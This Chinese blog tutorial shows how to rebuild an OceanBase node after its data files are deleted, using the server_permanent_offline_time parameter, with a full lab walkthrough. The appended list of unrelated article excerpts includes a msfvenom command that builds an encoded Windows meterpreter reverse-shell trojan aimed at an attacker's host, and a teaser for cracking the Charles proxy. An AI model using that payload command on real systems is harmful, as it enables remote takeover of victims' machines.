数据文件误删除,OceanBase中如何重建受影响的节点

当不慎误删数据文件且当前没有现成的可替换节点时,在OceanBase中,不必急于采取极端措施,可以考虑运用 server_permanent_offline_time 参数,来重建受影响的节点。

原理:

server_permanent_offline_time 是 OceanBase数据库中负责管理节点被认定为永久离线所需时间的一个关键参数。当集群中的某个节点发生故障或宕机后,系统会依据此参数设定的时间阈值来触发相应的处理流程。

如果节点宕机时间小于该参数设置的值,系统会暂时不做处理,以避免频繁的数据迁移;如果宕机时间超过该参数设置的值,该节点被标记为永久下线,RootService 会将该 OBServer 上包含的数据副本从 Paxos 成员组中删除,并在同 zone 内其他可用  OBServer 上补充数据,以保证数据副本 Paxos 成员组完整。该参数默认值是 3600 秒,一般设置较大,以避免不必要的副本复制。此外,当永久下线的节点重新被拉起后,其上的全部数据都需要从其他副本重新拉取。

在本场景下,即是通过调低该参数,让故障节点快速永久下线再重新上线,达到数据重建的目的。

请注意,此过程会占用集群一定的资源,可能会影响性能,因此建议在业务低峰期进行。

官方建议

关于 server_permanent_offline_time 的适用场景和建议值,官方提供如下:

1. OceanBase 数据库版本升级场景:建议将该配置项的值设置为72h。

2. OBServer 硬件更换场景:建议将该配置项的值设置为4h。

3. OBServer 清空上线场景:建议将该配置项的值设置为10m,使集群快速上线。

准备过程

预备一套环境

使用OBD工具快速部署一套3节点OB以及一个OBProxy,再创建好一个租户sysbench_tenant,primary_zone为RANDOM。

注:本文基于OB 3.1.2版本,其他版本需注意另作验证。

版本ip
oceanbase3.1.210.186.64.74
10.186.64.75
10.186.64.79
OBProxy3.2.310.186.60.3
准备些数据

使用 sysbench 创建一个表 sbtest1 并插入1W数据。

sysbench ./oltp_insert.lua --mysql-host=10.186.60.3 --mysql-port=2883 --mysql-db=sysbenchdb --mysql-user="sysbench@sysbench_tenant"  --mysql-password=sysbench --tables=1 --table_size=10000 --threads=1 --time=600 --report-interval=10 --db-driver=mysql --db-ps-mode=disable --skip-trx=on --mysql-ignore-errors=6002,6004,4012,2013,4016,1062,5157,4038 prepare

这里改写了 sysbench 的建表语句,分了3个区,查询 sbtest1 表分区副本分布如下

MySQL [oceanbase]> select tenant.tenant_name, zone, svr_ip,svr_port, case when role=1 then 'leader' when role=2 then 'follower' else NULL end as role, count(1) as partition_cnt from __all_virtual_meta_table meta  inner join __all_tenant tenant  on meta.tenant_id=tenant.tenant_id inner join __all_virtual_table tab  on meta.tenant_id=tab.tenant_id and meta.table_id=tab.table_id where tenant.tenant_id=1001 and tab.table_name='sbtest1' group by  tenant.tenant_name,zone, svr_ip,svr_port, 5 order by  tenant.tenant_name, zone, svr_ip, role desc;+-----------------+-------+--------------+----------+----------+---------------+| tenant_name     | zone  | svr_ip       | svr_port | role     | partition_cnt |+-----------------+-------+--------------+----------+----------+---------------+| sysbench_tenant | zone1 | 10.186.64.74 |     2882 | leader   |             1 || sysbench_tenant | zone1 | 10.186.64.74 |     2882 | follower |             2 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | leader   |             1 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | follower |             2 || sysbench_tenant | zone3 | 10.186.64.79 |     2882 | leader   |             1 || sysbench_tenant | zone3 | 10.186.64.79 |     2882 | follower |             2 |+-----------------+-------+--------------+----------+----------+---------------+

开始实验

使用 sysbench 持续写入数据,维持一定的流量,便于在节点重建后对比各节点数据是否一致。

sysbench ./oltp_insert.lua --mysql-host=10.186.60.3 --mysql-port=2883 --mysql-db=sysbenchdb --mysql-user="sysbench@sysbench_tenant"  --mysql-password=sysbench --tables=1 --table_size=10000 --threads=1 --time=300 --report-interval=10 --db-driver=mysql --db-ps-mode=disable --skip-trx=on --mysql-ignore-errors=6002,6004,4012,2013,4016,1062,5157,4038 run
删除某节点的数据文件

选择 zone3 下的 10.186.64.79 节点,将数据文件删除。

[root@localhost data]# rm -rf 1/sstable/block_file[root@localhost data]# cd 1/sstable/[root@localhost sstable]# lltotal 0
永久下线故障节点

1. 调小参数 server_permanent_offline_time ,缩短节点永久下线时间

server_permanent_offline_time 默认值为 3600s

MySQL [oceanbase]> alter system set server_permanent_offline_time='60s';Query OK, 0 rows affected (0.030 sec) MySQL [oceanbase]> SHOW PARAMETERS LIKE "%server_permanent_offline_time%";+-------+----------+--------------+----------+-------------------------------+-----------+-------+-----------------------------------------------------------------------------------------------------------------------------------+--------------+---------+---------+-------------------+| zone  | svr_type | svr_ip       | svr_port | name                          | data_type | value | info                                                                                                                              | section      | scope   | source  | edit_level        |+-------+----------+--------------+----------+-------------------------------+-----------+-------+-----------------------------------------------------------------------------------------------------------------------------------+--------------+---------+---------+-------------------+| zone3 | observer | 10.186.64.79 |     2882 | server_permanent_offline_time | NULL      | 60s   | the time interval between any two heartbeats beyond which a server is considered to be \'permanently\' offline. Range: [20s,+∞)   | ROOT_SERVICE | CLUSTER | DEFAULT | DYNAMIC_EFFECTIVE || zone1 | observer | 10.186.64.74 |     2882 | server_permanent_offline_time | NULL      | 60s   | the time interval between any two heartbeats beyond which a server is considered to be \'permanently\' offline. Range: [20s,+∞)   | ROOT_SERVICE | CLUSTER | DEFAULT | DYNAMIC_EFFECTIVE || zone2 | observer | 10.186.64.75 |     2882 | server_permanent_offline_time | NULL      | 60s   | the time interval between any two heartbeats beyond which a server is considered to be \'permanently\' offline. Range: [20s,+∞)   | ROOT_SERVICE | CLUSTER | DEFAULT | DYNAMIC_EFFECTIVE |+-------+----------+--------------+----------+-------------------------------+-----------+-------+-----------------------------------------------------------------------------------------------------------------------------------+--------------+---------+---------+-------------------+
2. 停止故障节点对外提供服务

在 kill ob 进程前,建议使用隔离(ISOLATE SERVER)或者停止(STOP SERVER)节点的命令,停掉发往该节点的请求,转移副本 leader 角色。在节点重建恢复后,再开启流量。

# 停掉79节点服务MySQL [oceanbase]> ALTER SYSTEM STOP SERVER '10.186.64.79:2882' ZONE='zone3';  # 或者隔离ALTER SYSTEM ISOLATE SERVER '10.186.64.79:2882' ZONE='zone3';
3. kill observer进程

执行 kill -9 $observer_pid ,等待 server_permanent_offline_time 的时间,该ob进入"永久下线”状态。判断ob是否已经永久下线,可以查询表 __all_rootservice_event_history,存在名为 "permanent_offline "的event记录,确认时间和ip都一致后,即可认为ob已经永久下线。

MySQL [oceanbase]> select * from __all_rootservice_event_history where event='permanent_offline' ;                       +----------------------------+--------+-------------------+--------+---------------------+-------+--------+-------+--------+-------+--------+-------+--------+-------+--------+------------+--------------+-------------+| gmt_create                 | module | event             | name1  | value1              | name2 | value2 | name3 | value3 | name4 | value4 | name5 | value5 | name6 | value6 | extra_info | rs_svr_ip    | rs_svr_port |+----------------------------+--------+-------------------+--------+---------------------+-------+--------+-------+--------+-------+--------+-------+--------+-------+--------+------------+--------------+-------------+| 2023-03-29 17:34:09.596035 | server | permanent_offline | server | "10.186.64.79:2882" |       |        |       |        |       |        |       |        |       |        |            | 10.186.64.74 |        2882 |+----------------------------+--------+-------------------+--------+---------------------+-------+--------+-------+--------+-------+--------+-------+--------+-------+--------+------------+--------------+-------------+
查询分区副本分布如下,已不存在79节点的分区副本信息,进一步确认了79节点已永久下线。

zone2 下的75节点有一个从副本升级为leader角色,此时集群仍然可以继续对外服务。

MySQL [oceanbase]> select tenant.tenant_name, zone, svr_ip,svr_port, case when role=1 then 'leader' when role=2 then 'follower' else NULL end as role, count(1) as partition_cnt from __all_virtual_meta_table meta  inner join __all_tenant tenant  on meta.tenant_id=tenant.tenant_id inner join __all_virtual_table tab  on meta.tenant_id=tab.tenant_id and meta.table_id=tab.table_id where tenant.tenant_id=1001 and tab.table_name='sbtest1' group by  tenant.tenant_name,zone, svr_ip,svr_port, 5 order by  tenant.tenant_name, zone, svr_ip, role desc;+-----------------+-------+--------------+----------+----------+---------------+| tenant_name     | zone  | svr_ip       | svr_port | role     | partition_cnt |+-----------------+-------+--------------+----------+----------+---------------+| sysbench_tenant | zone1 | 10.186.64.74 |     2882 | leader   |             1 || sysbench_tenant | zone1 | 10.186.64.74 |     2882 | follower |             2 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | leader   |             2 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | follower |             1 |+-----------------+-------+--------------+----------+----------+---------------+4 rows in set (0.005 sec)
拉起故障节点,触发数据自动重建

1. 启动79节点的ob进程,进程启动后会自动触发重建。

注:防止ob启动失败或存在其他问题,建议启动前将数据文件和事务日志均清空。

[root@localhost data]# rm -rf log1/clog/*[root@localhost data]# rm -rf log1/ilog/*[root@localhost data]# rm -rf log1/slog/*[root@localhost data]# rm -rf 1/sstable/block_file[root@localhost data]# cd 1/sstable/[root@localhost sstable]# lltotal 0[root@localhost sstable]# su adminbash-4.2$ cd /home/admin/ && ./bin/observer./bin/observer

进程启动后,确认ob心跳恢复状态为active,然后查看分区正在不断补足中

MySQL [oceanbase]> select svr_ip,zone,with_rootserver,status,stop_time,start_service_time,build_version from __all_server;+--------------+-------+-----------------+--------+------------------+--------------------+----------------------------------------------------------------------------------------+| svr_ip       | zone  | with_rootserver | status | stop_time        | start_service_time | build_version                                                                          |+--------------+-------+-----------------+--------+-----------+---------------------------+----------------------------------------------------------------------------------------+| 10.186.64.74 | zone1 |               1 | active |                0 |   1679984798650860 | 3.1.2_10000392021123010-d4ace121deae5b81d8f0b40afbc4c02705b7fc1d(Dec 30 2021 02:47:29) || 10.186.64.75 | zone2 |               0 | active |                0 |   1679984801289281 | 3.1.2_10000392021123010-d4ace121deae5b81d8f0b40afbc4c02705b7fc1d(Dec 30 2021 02:47:29) || 10.186.64.79 | zone3 |               0 | active | 1680082329964975 |   1680082511964975 | 3.1.2_10000392021123010-d4ace121deae5b81d8f0b40afbc4c02705b7fc1d(Dec 30 2021 02:47:29) |+--------------+-------+-----------------+--------+------------------+--------------------+----------------------------------------------------------------------------------------+3 rows in set (0.002 sec) MySQL [oceanbase]> select count(*),zone from gv$partition group by zone;+----------+-------+| count(*) | zone  |+----------+-------+|     1322 | zone1 ||     1322 | zone2 ||      152 | zone3 |+----------+-------+3 rows in set (0.228 sec)  MySQL [oceanbase]> select count(*),zone from gv$partition group by zone;+----------+-------+| count(*) | zone  |+----------+-------+|     1322 | zone1 ||     1322 | zone2 ||      664 | zone3 |+----------+-------+3 rows in set (0.113 sec)MySQL [oceanbase]> select count(*),zone from gv$partition group by zone;                                                +----------+-------+| count(*) | zone  |+----------+-------+|     1322 | zone1 ||     1322 | zone2 ||     1179 | zone3 |+----------+-------+3 rows in set (0.112 sec)  MySQL [oceanbase]> select count(*),zone from gv$partition group by zone;+----------+-------+| count(*) | zone  |+----------+-------+|     1322 | zone1 ||     1322 | zone2 ||     1322 | zone3 |+----------+-------+3 rows in set (0.116 sec)
当3个zone内的分区个数一致后,同时查看zone3已存在副本信息,认为重建完毕。

由于79节点处于隔离状态,所以还没有leader副本。

MySQL [oceanbase]> select tenant.tenant_name, zone, svr_ip,svr_port, case when role=1 then 'leader' when role=2 then 'follower' else NULL end as role, count(1) as partition_cnt from __all_virtual_meta_table meta  inner join __all_tenant tenant  on meta.tenant_id=tenant.tenant_id inner join __all_virtual_table tab  on meta.tenant_id=tab.tenant_id and meta.table_id=tab.table_id where tenant.tenant_id=1001 and tab.table_name='sbtest1' group by  tenant.tenant_name,zone, svr_ip,svr_port, 5 order by  tenant.tenant_name, zone, svr_ip, role desc;+-----------------+-------+--------------+----------+----------+---------------+| tenant_name     | zone  | svr_ip       | svr_port | role     | partition_cnt |+-----------------+-------+--------------+----------+----------+---------------+| sysbench_tenant | zone1 | 10.186.64.74 |     2882 | leader   |             1 || sysbench_tenant | zone1 | 10.186.64.74 |     2882 | follower |             2 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | leader   |             2 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | follower |             1 || sysbench_tenant | zone3 | 10.186.64.79 |     2882 | follower |             3 |+-----------------+-------+--------------+----------+----------+---------------+6 rows in set (0.005 sec)
2. 开启故障节点服务

执行命令解除79节点的隔离状态。

ALTER SYSTEM START SERVER '10.186.64.79:2882' ZONE='zone3';

查询分区副本分布如下,leader角色已迁回79节点。

MySQL [oceanbase]> select tenant.tenant_name, zone, svr_ip,svr_port, case when role=1 then 'leader' when role=2 then 'follower' else NULL end as role, count(1) as partition_cnt from __all_virtual_meta_table meta  inner join __all_tenant tenant  on meta.tenant_id=tenant.tenant_id inner join __all_virtual_table tab  on meta.tenant_id=tab.tenant_id and meta.table_id=tab.table_id where tenant.tenant_id=1001 and tab.table_name='sbtest1' group by  tenant.tenant_name,zone, svr_ip,svr_port, 5 order by  tenant.tenant_name, zone, svr_ip, role desc;+-----------------+-------+--------------+----------+----------+---------------+| tenant_name     | zone  | svr_ip       | svr_port | role     | partition_cnt |+-----------------+-------+--------------+----------+----------+---------------+| sysbench_tenant | zone1 | 10.186.64.74 |     2882 | leader   |             1 || sysbench_tenant | zone1 | 10.186.64.74 |     2882 | follower |             2 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | leader   |             1 || sysbench_tenant | zone2 | 10.186.64.75 |     2882 | follower |             2 || sysbench_tenant | zone3 | 10.186.64.79 |     2882 | leader   |             1 || sysbench_tenant | zone3 | 10.186.64.79 |     2882 | follower |             2 |+-----------------+-------+--------------+----------+----------+---------------+

3. 把 server_permanent_offline_time 参数恢复为默认值3600s

MySQL [oceanbase]> alter system set server_permanent_offline_time='3600s';Query OK, 0 rows affected (0.028 sec) MySQL [oceanbase]> SHOW PARAMETERS LIKE "%server_permanent_offline_time%";+-------+----------+--------------+----------+-------------------------------+-----------+-------+-----------------------------------------------------------------------------------------------------------------------------------+--------------+---------+---------+-------------------+| zone  | svr_type | svr_ip       | svr_port | name                          | data_type | value | info                                                                                                                              | section      | scope   | source  | edit_level        |+-------+----------+--------------+----------+-------------------------------+-----------+-------+-----------------------------------------------------------------------------------------------------------------------------------+--------------+---------+---------+-------------------+| zone2 | observer | 10.186.64.75 |     2882 | server_permanent_offline_time | NULL      | 3600s | the time interval between any two heartbeats beyond which a server is considered to be \'permanently\' offline. Range: [20s,+∞)   | ROOT_SERVICE | CLUSTER | DEFAULT | DYNAMIC_EFFECTIVE || zone1 | observer | 10.186.64.74 |     2882 | server_permanent_offline_time | NULL      | 3600s | the time interval between any two heartbeats beyond which a server is considered to be \'permanently\' offline. Range: [20s,+∞)   | ROOT_SERVICE | CLUSTER | DEFAULT | DYNAMIC_EFFECTIVE || zone3 | observer | 10.186.64.79 |     2882 | server_permanent_offline_time | NULL      | 3600s | the time interval between any two heartbeats beyond which a server is considered to be \'permanently\' offline. Range: [20s,+∞)   | ROOT_SERVICE | CLUSTER | DEFAULT | DYNAMIC_EFFECTIVE |+-------+----------+--------------+----------+-------------------------------+-----------+-------+-----------------------------------------------------------------------------------------------------------------------------------+--------------+---------+---------+-------------------+3 rows in set (0.007 sec)
校验各ob节点数据量

sysbench 已运行结束,直连各 observer ,校验数据量是一致的。

[root@localhost ~]#  obclient -h10.186.64.74 -P2881 -usysbench@sysbench_tenant -Dsysbenchdb -A -psysbenchWelcome to the OceanBase.  Commands end with ; or \g.Your MySQL connection id is 3221545401Server version: 5.7.25 OceanBase 3.1.2 (r10000392021123010-d4ace121deae5b81d8f0b40afbc4c02705b7fc1d) (Built Dec 30 2021 02:47:29) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [sysbenchdb]> select count(*) from sbtest1;+----------+| count(*) |+----------+|    53195 |+----------+1 row in set (0.036 sec) MySQL [sysbenchdb]> exitBye[root@localhost ~]#  obclient -h10.186.64.75 -P2881 -usysbench@sysbench_tenant -Dsysbenchdb -A -psysbenchWelcome to the OceanBase.  Commands end with ; or \g.Your MySQL connection id is 3221823448Server version: 5.7.25 OceanBase 3.1.2 (r10000392021123010-d4ace121deae5b81d8f0b40afbc4c02705b7fc1d) (Built Dec 30 2021 02:47:29) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [sysbenchdb]> select count(*) from sbtest1;+----------+| count(*) |+----------+|    53195 |+----------+1 row in set (0.040 sec) MySQL [sysbenchdb]> exitBye[root@localhost ~]#  obclient -h10.186.64.79 -P2881 -usysbench@sysbench_tenant -Dsysbenchdb -A -psysbenchWelcome to the OceanBase.  Commands end with ; or \g.Your MySQL connection id is 3222011907Server version: 5.7.25 OceanBase 3.1.2 (r10000392021123010-d4ace121deae5b81d8f0b40afbc4c02705b7fc1d) (Built Dec 30 2021 02:47:29) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [sysbenchdb]> select count(*) from sbtest1;+----------+| count(*) |+----------+|    53195 |+----------+1 row in set (0.037 sec) MySQL [sysbenchdb]>

总结

数据文件损坏或者丢失时,可通过调整参数 server_permanent_offline_time 来重建受影响的节点。

1. 设小 server_permanent_offline_time 阈值。

2. 停止故障节点对外服务。

3. 终止该节点进程。

4. 超过阈值后,节点将被标记为永久下线,系统会自动清空副本以及向同zone内其他节点迁移数据。

5. 启动 OB 进程,自动触发重建节点数据。

6. 开启故障节点服务。

7. 把 server_permanent_offline_time 参数改回原来的值。

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Author(wechat): bigshuang2020 ap csa tutor, providing 1-on-1 tutoring. 国际教育计算机老师, 擅长答疑讲解,带学生实践学习。 热爱创作,作品:ap csa原创双语教案,真题梳理汇总, AP CSA FRQ专题冲刺, AP CSA MCQ小题…

线程池详解:在SpringBoot中的最佳实践

线程池详解:在SpringBoot中的最佳实践 引言 在Java并发编程中,线程池是一种非常重要的资源管理工具,它允许我们在应用程序中有效地管理和重用线程,从而提高性能并降低资源消耗。特别是在SpringBoot等企业级应用中,正…

2025年IT行业技术革命全景解析:从AI到量子计算的落地实践

简介 2025年,全球IT行业正经历一场由AI、量子计算、物联网等技术驱动的变革。从BOE的AI制造系统到德易科技的无人机光伏巡检,从鲲鹏处理器的国产化突破到量子计算的算力革命,技术创新正在重塑产业格局。本文结合最新行业动态与实战案例&…

JVM - 年轻代和老年代

通过一些问题来讨论 JVM 中年轻代和老年代的内容 为什么要区分年轻代和老年代?哪些对像会进入老年代?什么时候会进行年轻代GC?什么时候会进行老年代GC? 1. 为什么要区分年轻代和老年代? 年轻代中的对象大部分都是短期…

【react】在react中async/await一般用来实现什么功能

目录 基本概念 工作原理 优点 注意事项 底层原理 实际应用场景 1. 数据获取 (API 请求) 2. 表单提交 3. 异步状态管理 4. 异步路由切换 5. 异步数据预加载 6. 第三方 API 调用 7. 文件上传/下载 8. 路由导航拦截 关键注意事项 基本概念 async 函数:用…

高维小样本数据的在线流特征选择

发布于24年国际学习和控制论杂志 文献地址 简要总结 《Online streaming feature selection for high-dimensional small-sample data》研究了高维小样本数据(HDSS)在类别不平衡情况下的在线流式特征选择问题,提出了一种名为OSFSHS的算法。…

1688.item_search_seller-搜索店铺列表接口返回数据说明

一、接口概述 item_search_seller 是 1688 提供的一个 API 接口,用于搜索店铺列表。通过该接口,开发者可以查询特定店铺的相关信息,包括店铺的基本信息、商品列表等。该接口广泛应用于电商数据采集、市场调研、店铺分析等场景。 二、接口请…

uniapp主题切换功能,适配H5、小程序

实现方法 方法性能消耗维护成本适用场景内联样式较高低小程序CSS变量属性选择器低中H5混合方案中等低跨平台项目 优势特点 性能优化: H5端使用CSS原生变量切换小程序端使用高效样式字符串生成切换动画流畅 维护性提升 主题配置集中管理新增主题只需要拓展vars对象…

线程未关闭导致资源泄漏

文章目录 资源泄漏(线程未关闭)问题描述错误实现优化原理正确实现优化原理 资源泄漏(线程未关闭) 问题描述 应用程序启动时创建线程池处理任务,但未在应用关闭时正确关闭线程池。 现象: 应用重启时&…

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件: 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…

如何在 Postman 中发送 PUT 请求?

在 Postman 中发送 PUT 请求的步骤相对简单,包括新建接口、选择 PUT 方法、填写 URL 和参数等几个主要步骤。 Postman 发送 put 请求教程

charles抓包软件免费使用教程

本文将给大家介绍Charles破解教程,支持Windows和Mac系统,操作简单,永久免费使用。同时,我们也会提到另一款强大的抓包工具——SniffMaster(抓包大师),它在网络调试和数据包分析方面同样表现出色…

卷积神经网络 - 参数学习

本文我们通过两个简化的例子,展示如何从前向传播、损失计算,到反向传播推导梯度,再到参数更新,完整地描述卷积层的参数学习过程。 一、例子一 我们构造一个非常简单的卷积神经网络,其结构仅包含一个卷积层和一个输出…

.NET三层架构详解

.NET三层架构详解 文章目录 .NET三层架构详解引言什么是三层架构表示层(Presentation Layer)业务逻辑层(Business Logic Layer,BLL)数据访问层(Data Access Layer,DAL) .NET三层架构…

Redis实战常用二、缓存的使用

一、什么是缓存 在实际开发中,系统需要"避震器",防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪. 这在实际开发中对企业讲,对产品口碑,用户评价都是致命的。所以企业非常重视缓存技术; 缓存(Cache):就是数据交换的缓冲区&…

STM32八股【2】-----ARM架构

1、架构包含哪几部分内容 寄存器处理模式流水线MMU指令集中断FPU总线架构 2、以STM32为例进行介绍 2.1 寄存器 寄存器名称作用R0-R3通用寄存器用于数据传递、计算及函数参数传递;R0 也用于存储函数返回值。R4-R12通用寄存器用于存储局部变量,减少频繁…